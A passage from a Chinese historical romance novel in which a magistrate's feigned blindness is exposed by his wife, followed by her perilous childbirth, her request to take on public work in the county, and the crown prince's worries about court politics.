长睫微垂,鼻梁秀挺,唇轻轻抿着,因专注而显得格外沉静。阳光在她脸颊细小的绒毛上镀了一层极淡的金边,连耳垂上一点小小的痣,都清晰可见。 容璟握着玉诀的手指,几不可察地收紧。 他没有动,也没有出声。甚至连呼吸都维持着之前的频率,只是那双长久以来空洞涣散的眼睛,此刻幽深如古井,定定地,贪婪地,将眼前这幅画面一寸寸镌刻进眼底。 几个月的黑暗,让他几乎忘了颜色是何等模样,更忘了......她安静时的样子,竟是这般。 姜于归似有所觉,抬起头。 四目相对。 她的目光撞进他眼中,那里不再是茫然虚空,而是清晰的聚焦,幽深,沉静,带着一种久违的,属于容璟的洞悉与锐利。 那清明只持续了一刹那。 就在姜于归瞳孔骤缩,即将惊呼出声的瞬间,容璟几不可察地蹙了下眉,随即极快地,近乎本能地眯起了眼,长睫微垂,视线迅速涣散开,重新蒙上一层薄雾般的虚浮。 他甚至还抬起手,用指节轻轻揉了揉额角,仿佛被骤然涌入的光线刺得不适。 整个转变快如电光石火,行云流水,若非姜于归方才真真切切地对上过那双清明的眸子,几乎要以为是自己眼花了。 可笔尖滴落的墨点,和她心头骤然擂鼓般的巨响,都在提醒她,那不是错觉。 “你......” 姜于归的声音因震惊而微微发颤,手指无意识地抓紧了账册边缘:“你的眼睛......刚才......” 容璟放下揉额角的手,转向她声音的方向,脸上适时地露出一丝混合着困惑与微弱希冀的神情。 “刚才......似乎亮了一瞬。” 他的语气带着恰到好处的迟疑与不确定:“好像......能模糊看到些光影轮廓了,但很快又暗下去......许是好转的迹象?” 容璟微微偏头,那双重新变得空茫的眼睛望着她,带着伤者特有的,小心翼翼的求证意味:“于归,你方才......是察觉到什么了吗?” 姜于归死死盯着他。 他的表情无懈可击,那点细微的欣喜,那丝不确定的茫然,还有因长久黑暗而对一丝光明的本能渴盼,都演得入木三分。 可她分明记得,那一瞬间他眼底闪过的,绝非对光影的朦胧感知,而是清醒的,锐利的,足以洞穿人心的清明。 “是吗......” 她听见自己的声音干涩地响起:“只是......光影?” 容璟轻轻嗯了一声,唇角极缓地弯起一个极淡的,带着疲意的弧度,像是安慰她,也像是安慰自己:“许是伤势反复,亦或许是......好转的征兆。还需再看看。” 他说得平淡,甚至将那份可能好转的期待都控制得十分克制,毫无破绽。 接下来的几日,容璟表现得更加谨慎。 他不再闭目养神,而是时常努力地望向有光的方向,偶尔会迟疑地伸出手,在空中缓慢地摸索,仿佛在尝试捕捉那些看不见的轮廓。 翻阅文书时,他会将册子举到离眼睛极近的地方,眉心微蹙,一副极力辨认却依旧困难的模樣。 遇到字迹稍显潦草或数据繁杂之处,他会极自然地停顿,然后依旧将册子轻轻推到她面前,声音温和如常,甚至比以往更添一丝无奈的依赖。 “于归,此處墨迹似乎有些晕染,我看不真切,劳烦你再帮我看一眼。这笔数目似乎与上一页对不上,我瞧着眼晕,你心细,再核一遍可好?” 每一个动作,每一句话,都严丝合缝地嵌在眼睛正在缓慢恢复,但远未清晰的剧本里。 姜于归冷眼旁观。 她看着他笨拙地避开突然出现的障碍物,看着他困惑地分辨相似颜色的物件,看着他在她刻意将茶盏放在他习惯位置的另一侧时,手指摸索过去时那恰到好处的迟疑——太完美了。 完美得让她心底那点怀疑,如同落在冰面上的火星,明明灭灭,却找不到可以点燃的干柴。 可有些东西,一旦种下,便再难根除。 她开始更加不动声色地观察。 一切表现得天衣无缝。 直到那日傍晚,两人在院中散步。 姜于归身子渐重,走得很慢。容璟陪在她身侧,落后半步,手虚虚护在她腰后,是一个周到却并不逾越的姿态。 暮色四合,天边最后一缕霞光将云层染成瑰丽的绛紫。几只归巢的倦鸟掠过屋檐,投向远处山林。 姜于归停下脚步,望着天边,轻声叹了句:“今儿的晚霞,倒是好看。” 身侧,容璟几乎是不假思索地接了一句:“嗯,像你去年在临河镇,归月楼后院晾的那匹素红棉布。” 话音落下的瞬间,两人同时僵住。 晚风穿过庭院,带来远处炊烟的气息。 姜于归极缓极缓地转过头,看向容璟。 他依旧望着天边,侧脸在暮色中显得平静无波,仿佛刚才那句话只是随口感慨。 可姜于归的心,却一点一点沉下去,沉进冰窟里。 临河镇。归月楼。素红棉布。 那是她作为姜月时,唯一一次尝试染布。因为染料调配不当,颜色染得过于浓艳,像凝固的血,她不太喜欢,只晒在后院角落,后来拆了给阿禾做了件小袄。 这件事,她自己都未必记得清楚。 容璟......怎么会知道? 除非......他早就查过。查得事无巨细。查得连一匹不起眼的染布颜色,都牢牢刻在脑子里。 也除非......他的眼睛,早就好了。好到足以在方才那惊鸿一瞥的暮色里,精准地捕捉到那抹转瞬即逝的绛紫,并瞬间与记忆中的颜色重合。 所有的细节,在这一刻串联成冰冷的锁链。 他恢复视力的时间,恐怕远比他说得要早。那些生疏,迟疑,眯眼,不过是最精妙的表演。 而她,像个傻子一样,配合着他,日复一日地念文书,理账目,甚至......为他换药,在他看不见的时候,放下那些紧绷的戒备。 一股被彻底愚弄的怒火,混杂着深切的难堪与寒意,从心底轰然炸开! 姜于归猛地甩开他虚扶在她腰后的手,后退两步,脸色苍白,胸口因激动而微微起伏。 “容潜玉......” 她的声音抖得厉害,每个字都像是从齿缝里挤出来的:“你还要装到什么时候?!” 容璟终于转回头,看向她。 暮色中,他的眼睛清晰明亮,哪里还有半分涣散茫然。那里面映着她愤怒的身影,平静,幽深,甚至带着一丝几不可察的......了然。 他沉默了片刻,没有辩解,也没有慌乱。 只是极轻地叹了口气,那叹息里竟带着一丝真实的无奈。 “还是被你看出来了。” 他承认得如此干脆,反而让姜于归积蓄的怒火无处发泄,堵在胸口,闷得生疼。 她盯着他,指甲深深掐进掌心:“看着我像个笑话一样围着你转,很有趣吗?还是你觉得,这样就能显得你更掌控一切,更高高在上?!” 容璟向前走了一步。 姜于归立刻警惕地后退,背脊抵上冰凉的廊柱。 他停下,没有再靠近,只是看着她,目光落在她因激动而泛红的眼眶和微微颤抖的肩膀上,眸色深了深。 他的声音低沉下去,带着一种罕见的,近乎示弱的温和:“于归,我没有看你笑话的意思。” 他顿了顿,似乎在斟酌词句。 “眼睛是渐渐好的。起初只有光感,后来能见轮廓,直至前几日,方才清晰如常。我没有立刻说,是因为......” 他微微偏开视线,望向庭院中那株新绿的槐树,侧脸线条在渐暗的天光里显得有些模糊。 “因为这段日子,你肯与我说话,肯坐在一起处理那些琐碎公务,肯在换药时......不那么抗拒。我怕一说出来,这些......就没了。” 这话说得极轻,甚至带着一丝不易察觉的小心翼翼。 不是解释为何装,而是剖白为何怕。 姜于归愣住了。 她设想过他的无数种反应,狡辩,威胁,冷漠,甚至嘲讽。唯独没想过,会是这样的,近乎直白的留恋。 容璟重新看向她,那双恢复清明的眼睛在暮色里显得格外幽深,里面翻涌着她看不懂的复杂情绪。 “我知道你恨我,怨我,防着我。这几个月,是自从......自从慕容林晏的事之后,你在我面前,最放松的一段时日。哪怕只是因为你觉得我看不见,哪怕只是些不得已的公务往来......于我而言,也很好了。” 他极轻地扯了下唇角,那笑意短暂而苦涩。 “是我自私。想多留几日这样的光景。仅此而已。” 晚风拂过,带着春末夏初的暖意,却吹不散两人之间凝滞的空气。 姜于归死死咬着唇,看着他脸上那抹罕见的,近乎脆弱的神情,心头那团怒火,竟像被泼了冷水的炭,嗤嗤冒着烟,却再也燃不起滔天的烈焰。 她能说什么? 指责他深情款款?可他眼底的落寞不似作伪。 痛骂他算计人心?可他确实只是多留了几日光景,并未借此行更恶劣之事。 更何况,他提到林晏......提到那些她在他面前不得不戴上面具,虚与委蛇的日子。 那何尝不是她心里的刺? 僵持间,秋实捧着披风从廊下转出,见状脚步一顿,忙上前将披风轻轻披在姜于归肩上,低声道:“夫人,起风了,仔细身子。晚膳已备好,是世子爷特意吩咐厨下炖的淮山鸽子汤,最是温补。” 素馨也跟了过来,手里端着两盏温热的安胎茶,声音柔和:“夫人莫要动气,仔细腹中小主子。世子爷这些日子眼睛不便,心里头不知多焦躁,如今总算好了,是天大的喜事。便是有些思虑不周处,夫人看在世子爷伤病初愈,又一心记挂夫人和小主子的份上,且宽宥些吧。” 两人一唱一和,话里话外,将容璟的装盲,归为伤病者的患得患失与不舍,又将姜于归的怒气,轻描淡写地引向对孕体和胎儿的担忧。 姜于归看着她们眼中真切的关怀与劝和,再看向容璟沉默立在一旁,在丫鬟面前毫不掩饰那份沉默的等待,与些许无措的模样,忽然觉得一阵深深的无力。 良久,她极轻地闭了下眼,再睁开时,眼中激烈的情绪已沉淀为一片疲惫的平静。 她声音干涩,转身,朝着膳厅方向走去:“回去吧。” 没有原谅,没有和解。只是一种认命般的,暂时休战。 容璟看着她的背影,眼底深处那丝几不可察的紧绷,缓缓松开。 他抬手,极轻地挥退了秋实素馨,然后迈步,跟了上去。 晚膳用得安静。只有碗筷轻微的碰撞声,和汤匙搅动羹汤的细微响动。 容璟夹了一筷子清炒的嫩笋,放到姜于归面前的碟子里。 姜于归动作顿了顿,没有抬头,也没有碰那笋,只默默吃着自己碗里的米饭。 容璟也不介意,自顾自用着饭,偶尔抬眼看看她,目光落在她明显隆起的小腹上,停留片刻,又移开。 日子便在这种微妙的,表面平静内里暗涌的状态下,缓缓流淌。 容璟不再需要她念文书,但书房里依旧时常有她的身影。 有时是送来炖好的汤水,有时是默默坐在一旁,翻看些杂书或做些简单的针线。 容璟处理公务时,她偶尔会就某件民生琐事提出一两点看法,他听得认真,偶尔采纳。 傍晚的散步成了惯例。容璟会小心地扶着她,走在县衙后巷清净的石板路上,听她说些白日里的琐事,或是听她指着天边云霞,说像什么什么。 他很少接话,只是侧耳听着,目光落在她被晚风拂起的发丝上,或是她因孕期丰润了些的侧脸上,眼神幽深难辨。 平江县在容璟手中,渐渐有了起色。 春耕的借贷及时发放,水渠疏通工程有条不紊地推进,甚至揪出了两起乡绅勾结小吏欺压农户的陈年旧案,雷厉风行地处置了,民心为之一振。 连州府来的巡查官员,在看了县衙整理清晰,处置得当的卷宗后,都忍不住对这位戴罪贬谪的年轻县令刮目相看,回禀的公文里,也多了几句难得的肯定。 这一切,姜于归都看在眼里。 她看着这个曾经在盛京翻云覆雨的男人,如今在这偏僻小县,为一斗粮种,一段沟渠,一桩小案殚精竭虑。 看着他苍白清减的面上,偶尔因公务顺畅或百姓一句感激而露出的,极淡却真实的舒缓。 恨意依旧在心底某个角落盘踞,但另一种更复杂的情绪,如同藤蔓,在日复一日的平淡相处与亲眼所见中,悄然滋生,缠绕上来。 她分不清那是什么。或许是些许认可,或许是物伤其类,又或许......只是孕期脆弱心绪下的错觉。 转眼入了夏转秋。 姜于归的肚子越来越大,行动日渐笨拙。产期就在下月。 容璟早已将城中经验最老道的两位稳婆,提前请到县衙附近赁屋住下,随时候命。 药材备了足足几大箱,从止血的田七到吊命的老参,一应俱全。甚至从州府重金请来了一位专精妇产的郎中,只是郎中家住得远,需得提前半月去接。 姜于归躺在床上,辗转难眠,腹中孩儿动得厉害,顶得她胸口发闷。 容璟睡在外侧,原本安静躺着,忽然伸手,温热掌心轻轻覆上她隆起的肚皮,感受到下面一阵活泼的踢蹬。 他的动作很轻,带着一种小心翼翼的试探。 姜于归身体微僵,却没有推开。 黑暗中,两人都没有说话。只有彼此清浅的呼吸,和掌心下那鲜活的生命律动。 过了许久,久到姜于归以为他睡着了,容璟忽然极低地开口,声音在寂静的夜里显得格外清晰,也格外飘忽。 “今天......听衙里老书吏说起,西街绸缎铺掌柜的媳妇,前日生产,血崩没了。留下个不足月的孩子,哭得猫儿似的。” 姜于归心头一跳。 容璟的手依旧覆在她肚皮上,指尖几不可察地蜷缩了一下。 他的声音顿了顿,更低了,像自言自语,又像是说给她听。 “我母亲生我时......据说也极凶险,在鬼门关走了一遭。所以原本就不喜欢我,因此事,就更厌恶,觉得是我差点要了她的命......” 容璟没有说完,但姜于归知道未尽之言是什么。 让安宁郡主那般骄傲恣意的人,不得不因生育而被束缚在荣国公府,束缚在母亲这个身份里。 “其实......” 容璟的声音轻得几乎要散在夜风里:“若知道会让她那般厌恶,我或许......不该来这世上。” 这话说得平静,没有怨怼,甚至没有情绪,只是陈述一个事实。却比任何激烈的控诉都更让人心头发冷。 姜于归猛地转过脸,在昏暗的光线里看向他。 容璟闭着眼,侧脸线条在月光下显得冷硬而苍白,长睫在眼下投下一小片阴影。 他不再说话,只是那只覆在她腹上的手,微微收紧了些,指节有些发白。 姜于归的心,像是被一只无形的手狠狠拽住,又酸又涩,还带着一种难以言喻的恐慌。 他在害怕。 这个认知如此清晰,如此突兀地撞进她心里。 他在害怕她像那个绸缎铺媳妇一样,血崩而死。 他在害怕她像安宁郡主一样,因生育而怨恨这个孩子,乃至......怨恨他。 甚至,他在害怕这个孩子的到来本身。 因为于他而言,父母与子女的关联,从来不是温情与期待,而是痛苦,冷漠,与差点夺去生命的凶险。 所以他才说......不该来这世上。 姜于归张了张嘴,想说什么,喉咙却像被堵住了,发不出声音。 她想说,她和安宁郡主不一样。 她想说,生产虽有风险,但稳婆郎中俱在,她未必会有事。 她想说,孩子是无辜的...... 可所有的话,在看到容璟紧闭的眼睫和苍白的唇色时,都显得如此苍白无力。 最终,她只是极轻地,极缓地,抬起自己汗湿的手,覆在了他那只紧贴着她肚皮的手背上。 掌心相叠,温度交融。 她能感觉到,他手背的肌肉,几不可察地僵硬了一瞬。 然后,一点一点,松弛下来。 容璟依旧没有睁眼,只是反手握住了她的手,力道很大,拽得她指骨微微发疼。 仿佛溺水的人,抓住最后一根浮木。 黑暗中,两人就这样静静躺着,手紧握在一起,搁在那孕育着新生命的肚腹上。 窗外,夏虫唧唧,月光如水。 这一夜,无人再眠。 而某些深埋的恐惧,与同样深埋的,连当事人都不愿深究的牵绊,在这闷热的夏夜里,悄然破土,再也无法装作视而不见。 114. 第 114 章 自那夜之后,某些东西无声地改变了。 容璟不再掩饰他早已恢复的视力,却也没再提起那晚的脆弱言语。 他依旧忙碌于县务,只是目光落在姜于归身上时,停留的时间明显长了,尤其在看到她扶着腰缓慢行走,或是因胎动不适轻轻蹙眉时,那目光便沉得如同化不开的浓墨,里面翻涌着复杂的,姜于归依旧无法完全读懂的情绪。 有关切,有审视,或许,还有一丝深藏的不安。 姜于归则更加沉默。她不再刻意回避他的视线,但也绝不多言。 大多数时候,她只是安静地待在房中,或是在廊下慢慢散步,手无意识地搭在隆起得越来越高的腹上,眼神时常飘远,不知在想些什么。 秋实和素馨伺候得愈发小心周全,连说话都压低了声音,仿佛怕惊扰了什么。 姜于归的产期,就在这渐寒的秋日中,悄然临近。 发动是在一个毫无征兆的深夜。 白日里姜于归还勉强喝下半碗绿豆粥,傍晚时觉得腹中坠胀得厉害,以为是寻常不适,早早歇下。谁知子时刚过,一阵紧似一阵的,刀绞般的疼痛便将她从浅眠中狠狠拽出。 她咬紧牙关,起初还想忍耐,可那疼痛来得又猛又急,不过片刻,冷汗便浸透了中衣,额发湿漉漉地贴在苍白的脸颊上。 身侧的容璟几乎在她发出第一声压抑闷哼时就醒了。 他没有立刻唤人,而是猛地翻身坐起,在黑暗中精准地握住她汗湿冰凉的手,另一只手迅速探向她紧绷的腹部。 “疼了多久?”他的声音在寂静的夜里异常清晰,带着一丝刚醒的沙哑,却没有任何慌乱。 姜于归疼得说不出话,只从齿缝里挤出几个破碎的音节。 容璟不再多问,立刻扬声道:“秋实!素馨!叫稳婆!快!” 平静被彻底打破。 灯火次第亮起,人影幢幢。 两位早已候在隔壁的稳婆几乎是跑着进来的,经验老到地检查一番,便沉稳地开始指挥烧水,备剪,铺床。 容璟被请到了外间。 他没有坚持留在里面,只是退到门边时,脚步顿了一顿,回头望了一眼。 姜于归正被秋实和素馨扶着半坐起来,疼得浑身发颤,嘴唇咬得死死的,不肯泄出一声痛呼。 烛火跳跃,映着她汗湿的,毫无血色的脸,和那双因剧痛而显得有些空茫的眼睛。 容璟搭在门框上的手,指节微微泛白。 外间没有点灯,只有里间透过门扉缝隙和窗纸映出的,晃动不安的光影。 容璟没有坐,只是站在紧闭的房门前,背脊挺得笔直,像一尊沉默的雕塑。 他的脸上没什么表情,唯有那双眼睛,在昏暗的光线里,死死盯着那扇门,幽深得仿佛要将门板看穿。 里面的声音断断续续地传出来。 稳婆低而稳的指导声,秋实素馨急促的应答,铜盆与布巾的碰撞,还有.....姜于归极力压抑却仍不免漏出的,极其短促痛苦的呻吟。 每一声,都像细小的针,扎在容璟绷紧的神经上。 时间在闷热与焦灼中缓慢爬行。 从子时到寅时,从寅时到天色微明。 里面的动静时而激烈,时而沉寂。沉寂时,容璟的呼吸会不自觉地屏住,直到再次听到稳婆用力的催促,或姜于归压抑的闷哼,才缓缓吐出那口憋住的气。 天光大亮时,里间忽然传来稳婆一声提高了的,带着焦急的惊呼:“不好!力竭了!参片!快!” 紧接着是秋实带着哭腔的喊声:“夫人!夫人您醒醒!别睡!” 容璟的身体几不可察地晃了一下。 他猛地抬手,似乎想要推门而入,指尖触到冰凉的门板,却硬生生顿住。 他闭了闭眼,再睁开时,眼底一片冰封的赤红。下颌线绷得死紧,太阳穴处青筋隐隐跳动。 就在这时,里间忽然传出一声极其微弱,却仿佛用尽了生命全部力气的,嘶哑的痛呼。 随即,一声婴儿嘹亮却有些断续的啼哭,如同破开阴霾的利刃,骤然刺破了令人窒息的死寂! “生了!生了!是个小公子!”稳婆惊喜的声音夹杂着哽咽。 紧接着是另一阵混乱的响动,似乎是止血,清理。 容璟依旧站在原地,一动不动。 那声啼哭落下良久,他才极缓极缓地,松开了紧握成拳,指甲已深深陷进掌心的手。 掌心一片湿黏,分不清是汗,还是血。 又过了约莫一炷香的时间,房门终于被打开。 一位稳婆抱着裹在柔软襁褓里的婴儿,满脸疲惫却带着笑,小心翼翼地呈到容璟面前:“恭喜大人,是位小公子。母子平安,只是夫人累极了,昏睡过去了。” 容璟的目光,先落在那小小的,皱巴巴却安然熟睡的脸蛋上,停留了一瞬。然后,他移开视线,看向稳婆,声音干涩得几乎发不出音:“她.....如何?” 稳婆忙道:“夫人吉人天相,虽有些凶险,好在底子还算将养过来了,血也止住了。接下来好生调养便是。” 容璟点了点头,没再多看孩子一眼,径直绕过稳婆,走进了内室。 浓重的血腥味混杂着药气扑面而来。 姜于归躺在床上,脸色白得近乎透明,双眼紧闭,呼吸微弱但平稳。 秋实和素馨正红着眼圈,小心翼翼的替她擦拭额上的冷汗,更换身下污浊的褥单。 容璟走到床边看着她,姜于归的眉头即使在昏睡中,也依旧微微蹙着,仿佛还残留着生产时的痛楚。嘴唇干裂,没有一丝血色。整个人像是被抽走了所有生气,脆弱得仿佛一碰即碎。 容璟伸出手,指尖悬在姜于归冰凉的脸颊上方,停顿了许久,终究没有落下。 只是那么静静地站着,看了她很久。 然后,他转身,对秋实低声道:“照顾好夫人。需要什么,直接去库房取,不必回我。” 说完,他大步走了出去,身影很快消失在晨光熹微的廊下。 姜于归是在第二日的黄昏彻底清醒过来的。 身体像是被重锤碾过,每一寸骨头都泛着酸软无力的疼。下腹处的钝痛依旧清晰,提醒着她经历了怎样一场生死劫难。 她睁开眼,首先看到的是坐在床边脚踏上,正低头轻轻拍哄着怀中襁褓的秋实。 婴儿很小,裹在素色的棉布里,只露出一张红扑扑,睡得正香的小脸。眉眼.....似乎像容璟更多些,但鼻子和嘴巴的轮廓,又隐隐有她的影子。 姜于归的心,像是被什么东西轻轻撞了一下,说不清是什么滋味。 厌恶吗?好像没那么强烈了。 在鬼门关走了一遭,所有的恨与怨,在生死面前似乎都淡了。 喜爱吗?也谈不上。 看着这个因算计和强迫而来的孩子,她心里更多的是一种空茫的疲惫,和一种被彻底绑定的,无法挣脱的宿命感。 秋实察觉到动静,抬头见她醒了,立刻露出欣喜的笑容:“夫人!您可算醒了!饿不饿?灶上一直温着鸡汤粥。” 姜于归摇了摇头,目光依旧落在那个小小的襁褓上。 秋实会意,小心翼翼地将孩子抱到她枕边,轻声道:“小公子很乖,吃了睡,睡了吃,一点也不闹人。您瞧,多像世子和您。” 姜于归没说话,只是伸出手,用指尖极其轻缓地碰了碰婴儿柔嫩的脸颊。 温热的,柔软的,带着新生命特有的,干净脆弱的气息。 那一刻,她心头那点因被迫成为母亲而产生的,冰冷的隔阂与排斥,仿佛被这温度悄悄融化了一丝。 不像是爱,而是一种更原始的责任,是她把他带到这世上的,无论缘由如何,他终究是无辜的。 她的反感,不应该由这个孩子来承受。 接下来的日子,姜于归在秋实和素馨的精心照料下,身体缓慢地恢复。 容璟来得并不频繁,每日午后或傍晚会来坐上一会儿,看看孩子,问两句她的饮食,便又离开去处理公务。话很少,举止也克制,仿佛那夜在产房外的失态从未发生过。 直到姜于归能勉强下地走动那日。 她披着外衫,靠在窗边的软榻上,看着容璟抱着孩子在室内缓缓踱步。 夕阳的余晖透过窗棂,给父子二人的轮廓镀上一层暖金色的光晕,画面竟有几分罕见的平和。 姜于归忽然开口,声音因久卧而有些低哑,却清晰无比。 “容璟。” 容璟停下脚步,转身看向她。 姜于归的目光没有看他,而是落在窗外那株日益茂盛的槐树上,语气平静得像在讨论天气。 她语气平淡,听不出喜怒:“孩子生了,我也在这里。你费尽心思,让我生下他,留在他身边,如今也算如你所愿了。” 说罢姜于归终于转回脸,迎上他等待的目光,那目光深处,有审视,有评估,或许还有一丝早已料定的了然。 她心头的冷意如同井水漫上来,浸透了每一个字:“可容璟,你别以为,这样就算彻底拿捏住了我。” 容璟眉梢微不可见地一动,并未反驳,只是静静看着她,仿佛在等待她将未尽的话说完。 她声音依旧平缓,却带着一种冰封般的清醒:“一个活生生的人,不是物件,锁在屋里,摆在眼前,就算你的了,心若是空的,人在哪里,又有什么分别?” 这话说得轻,落在寂静的室内,却重若千钧。 容璟缓缓踱了两步,走到离姜于归更近些的地方。夕阳将他颀长的影子拉到她榻前。他低头,看了眼姜于归怀中不知何时已醒转,正咂巴着小嘴的婴儿。 然后,他抬眼,目光重新锁住她,眼底那片深邃的平静下,似乎掠过一丝极淡的,近乎玩味的探究。 他开口,声音听不出情绪,仿佛只是顺着她的话往下问:“所以,你想如何?” 不是质问,不是嘲讽,只是平淡的询问。 姜于归迎着他的目光,没有退缩,也没有激昂,只是将自己反复思量过,早已成形的念头,清晰而缓慢地摊开在他面前。 “这一年,在平江看着你处理县务,理清赋税,筹划春耕,疏通水利......我跟着看了,也学了。” 她语速不快,每个字都落在实处:“我从前在清溪镇开酒肆,只懂些市井营生,来了这里,才知道一县之地要安稳,里头有多少学问。天时,地利,人情,赋税,仓储,环环相扣。” 她停顿了一下,目光似乎望向更远的地方。 “我懂得不多,比不上你深谙此道。但我......毕竟有些不一样的见识。譬如田垄的走向如何更利排水采光,简单的水车改良或许能省些人力,堆肥的法子如何能让贫瘠些的地也多打几斗粮......这些零碎的东西,我或许知道一些。还有县里妇孺之事,稳婆手艺粗疏,孩童放任乱跑,也不是长久之计。” 姜于归收回目光,重新看向容璟,眼神清亮而坚定。 “我想做点事。不是在后院赏花品茶,也不是只围着孩子转。我想把我知道的那些零碎但或许有用的法子,试试看能不能用在平江。教农人更省力的耕种法子,帮妇人理一理接生养育的常识,让那些没处去的孩子有个地方学点东西,识几个字。不拘做什么,能帮上一点忙,就好。” 她说完了,室内重归安静。只有孩子发出几声含糊的呓语。 姜于归所求的,并非惊天动地的功业,甚至称不上什么事业。只是在这方她被强留下来的天地里,为自己挣得一块能够喘息,能够切实地活着,而非存在着的土壤。 是她用自己仅有的,或许微不足道的不一样,为自己构筑的,不容侵犯的精神城池。 容璟长久地沉默着。 他立在渐渐黯淡的暮色里,身影挺拔依旧,却仿佛被最后一缕余晖勾勒得有些模糊。 容璟的目光落在姜于归苍白却神色坚定的脸上,那目光很深,像是在审视她这番话背后所有的含义,又像是穿透了她,在衡量着更复杂的利弊得失。 他当然明白她的意思。她不是在请求恩准,而是在宣告她的底线。 她要的,是一个姜于归,而非容璟夫人的身份支点。 容璟静静地听着,脸上没什么表情。直到她说完,他才缓缓问道:“只是为了.....帮人?” 姜于归扯了一下唇角,那笑意没什么温度:“你可以这么认为。也可以认为,我只是想给自己找点事做,证明我除了是你孩子的母亲,还能是别的什么。不至于.....有一天连自己是谁都忘了。” 最后一句,她说得很轻,却像一把小锤,敲在两人之间那层心照不宣的隔膜上。 容璟沉默了。 他没有立刻答应,也没有反对。重新踱到窗边,背对着她,望向窗外渐渐沉落的暮色。 夕阳将他挺直的背影拉得很长,投在光洁的地面上,显得有些孤峭。 良久,他才开口,声音听不出情绪:“你觉得,有了这个孩子,我就算拿捏住你了,你便再也狠不下心离开,所以可以提条件了,是吗?” 这话尖锐得近乎刻薄。 姜于归心头一刺,脸色白了一瞬,随即却扬起下巴,眼神锐利地盯住他的背影。 “随你怎么想。你可以不答应。但容璟,别以为有了孩子,我就真的会一辈子困死在这里。心若死了,人在哪里,又有什么区别?” 她的话带着一种破釜沉舟的冷硬,仿佛在说,若连这点喘息的空间都不给,那便鱼死网破。 容璟缓缓转过身。 暮色中,他的脸半明半暗,那双眼睛却亮得惊人,如同寒潭深处点燃的幽火,静静地,深深地望着她。 他没有动怒,也没有急切。只是那样望着,仿佛要将她此刻每一寸倔强的表情都刻进眼底。 姜于归被他看得有些不自在,却强撑着没有移开目光。 时间在无声的对峙中流淌。 终于,容璟极轻地,几不可闻地吁出一口气。 他垂下眼,目光落在怀中不知何时已醒转,正睁着乌溜溜眼睛茫然四顾的婴儿脸上,指尖极轻地拂过那柔软的脸颊。 然后,他抬眼,重新看向姜于归,声音恢复了惯常的平静无波。 他也比谁都清楚,她此刻的强硬,底色依旧是那无法割舍的牵绊。 为了不相干的人她尚且心软,遑论怀中这团与她血脉相连的骨肉。 这认知让他心底那片冰冷的荒原,悄然蔓开一丝掌控在手的,近乎餍足的笃定。 或许,不仅仅是掌控。 他极快地敛去了那丝异样。 良久,他极轻地几乎无声地吁出一口气,垂下眼帘,将眸中所有翻涌的情绪尽数掩在浓密的睫羽之下。 “好。” 依旧只有一个字。干脆利落,没有条件,没有质疑。 他上前两步,俯身,揽着姜于归的肩膀,轻轻逗着姜于归怀里的孩子,低声道:“需要什么,直接同长青说。县衙里的人手,物料,随你调用。” 他顿了顿,目光在她依旧没什么血色的唇上停留一瞬,那目光里没有温度,却带着一种沉甸甸的,不容置疑的分量。 “但有一条——量力而行。你的身子,若出岔子,这些事便不必再提。” 说完,他不再停留,转身便朝外走去,衣袂带起一阵微凉的风。 姜于归靠在枕上,看着他挺拔的背影消失在门帘后,耳畔似乎还回响着他那声干脆的好。 心头那点预备好的,更为激烈的言辞,突然就没了着落。 预料中的拉锯,权衡,条件,一样都没发生。他答应得如此轻易,轻易得让她积蓄起来的那股劲,像一拳打在了棉花上,空落落的。 她转回头,望着怀里那张酷似容璟睡颜的小脸,久久没有动作。 窗外,暮色四合,老槐树的枝叶在渐起的晚风中发出沙沙的轻响,仿佛一声悠长而莫测的叹息,淹没在平江县寻常的夏夜里。 而走出房门的容璟,在廊下昏暗的光线里驻足片刻。他回望了一眼那扇透出温暖灯光的窗户,唇角极淡地,近乎无声地勾了一下。 那笑意很短,很浅,转瞬便隐没在唇角惯常的,冷硬的线条里。 眼底深处,却有什么东西,沉静地落定了。 你要事做,要一块自己的地方,要证明你不是依附而生的藤蔓。 给你便是。 只要根还在这里,枝叶又能伸向多远? 千里之外的盛京,东宫,书房。 太子李昭承背对着门,站在悬挂的巨幅大靖疆域图前,久久不动。 他的背影,比去岁此时,似乎佝偻了些许。不是身体,而是某种精气神。 身后,几位心腹幕僚垂手侍立,无人敢先开口。 良久,太子才缓缓转身,脸上是掩饰不住的疲惫与深重的郁色。 “北境有消息了吗?”他问,声音沙哑。 一位幕僚上前半步,低声道:“回殿下,慕容将军巡查已至最北的镇北关,一切如常。只是.....陛下前日又下旨,褒奖将军勤勉,赐下不少御用之物,并.....准其在北境多留两月,详察边防。” 太子的嘴角几不可察地抽搐了一下。 褒奖?留任? “潜玉那边呢?”太子又问,语气里听不出什么情绪。 “平江县令容璟,重伤渐愈,已能视事。据说在任上颇为勤勉,春耕水利处置得当,州府考评.....竟是良。” 说到后面,幕僚的声音越来越低。 “良?” 太子轻笑一声,那笑意冰冷刺骨:“父皇果然是.....圣心难测啊。” 一个戴罪贬谪的县令,重伤未死,还能得个良的考评。这里面的意味,不言自明。 皇帝并未完全放弃容璟。甚至可能.....乐见其成。用他来提醒东宫,也提醒朝野,谁才是真正掌控一切的人。 “几位皇弟,近日如何?”太子的目光扫过地图上标注的几处王府位置。 “九皇子臂伤已愈,陛下赏了一套上好的文房四宝,夸其勤学。十皇子诗名更盛,十一皇子.....虽年纪最小,但纯孝之名在外,陛下屡次召见询问功课,颇为喜爱。” 每一个名字,都像一根细针,扎在太子越来越敏感的神经上。 曾经,这些弟弟只是他需要友爱的对象。但自从睿王除去之后,事态逐渐不受控制,如今成了悬在他头顶,不知何时会落下的利剑。 尤其是那个十一弟李昭珣!不过十三岁,生母卑微,从前毫不起眼,如今却因着容璟那点教导之恩,在父皇面前频频露面,得了纯孝的美名! 容璟.....他即便远在平江,阴魂不散! “殿下。” 一位年长的幕僚终于忍不住,上前一步,声音压得极低,却字字沉重:“陛下对东宫忌惮日深,打压不断。先是借漕运案剪除羽翼,如今又借褒奖之名将慕容将军支开,更对几位年幼皇子多加关爱.....此消彼长,长此以往,东宫危矣!” 太子猛地拽紧了拳头,指节发出轻微的脆响。 他何尝不知? 父皇当年为了制衡睿王和薛家,将他这个太子推到前面,利用皇后和永华公主的牺牲来捆绑他,让他与睿王斗得你死我活。 如今睿王倒了,薛家灭了,他这个太子便成了新的势大之患,需要被修剪,被制衡的对象! 父子?君臣? 在至高无上的皇权面前,温情脉脉的面纱早已被撕得粉碎! 太子声音干涩:“先生有何高见?” 